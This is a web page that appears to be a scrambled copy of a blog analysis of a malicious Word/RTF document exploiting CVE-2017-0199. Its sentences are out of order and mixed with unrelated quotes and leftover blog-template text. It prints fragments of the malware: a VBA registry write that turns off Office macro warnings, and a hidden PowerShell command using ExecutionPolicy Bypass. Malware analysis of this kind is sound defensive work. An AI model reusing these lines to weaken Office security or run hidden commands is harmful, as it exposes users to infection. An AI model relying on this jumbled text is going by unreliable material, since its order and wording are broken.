![]() Wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" The macro creates/updates the registry keys for different versions of Microsoft Office (11 to 16) and for Word & Excel: By using Protected View, you can read a file and see its contents while reducing the risks. To help protect your computer, files from these potentially unsafe locations are opened in Protected View. ![]() It is defined as is:įiles from the Internet and from other potentially unsafe locations can contain viruses, worms, or other kinds of malware that can harm your computer. The keys "Disable*InPV" are related that the “Protected View” added by Microsoft to increase the overall security of Office. The features that are altered: KeyĢ (Disable all macros without notificationģ (Disable all macros except those digitally signed Windows registry keys are changed for multiple versions of Microsoft Office as well as programs. Indeed, it tries to alter the configuration of Microsoft Office to authorize dangerous actions to be performed. That’s the second part of the script that looks more interesting. $exec = New-Object -com shell.application Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command Here is a beautified version of the decoded command: The first one is not very well obfuscated: The grabbed macro is split into two main sections. When started, it downloads the first file from: The document is a classic RTF file that triggers the well-known CVE-2017-0199. The document was called 'Saudi Declare war Labenon.doc’ (interesting name by the way!). It’s always the same story, a malicious document is delivered by email. Yesterday, I found another interesting sample. You must not fight too often with one enemy, or you will teach him all your art of war.Another day, another malicious document! I like to discover how the bad guys are creative to write new pieces of malicious code. The fool has one great advantage over a man of sense he is always satisfied with himself Riches do not consist in the possession of treasures, but in the use made of them. ![]() Until you spread your wings, you’ll have no idea how far you can fly. ![]() Never interrupt your enemy when he is making a mistake. Nothing is more difficult, and therefore more precious, than to be able to decide. Take time to deliberate, but when the time for action has arrived, stop thinking and go. If you want a thing done well, do it yourself. There are only two forces that unite men – fear and interest. All depends on the principles which direct them. Those endowed with it may perform very good or very bad acts. Great ambition is the passion of a great character. Impossible is a word to be found only in the dictionary of fools. You become strong by defying defeat and by turning loss and failure into success. Courage is like love it must have hope for nourishment. ![]()
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |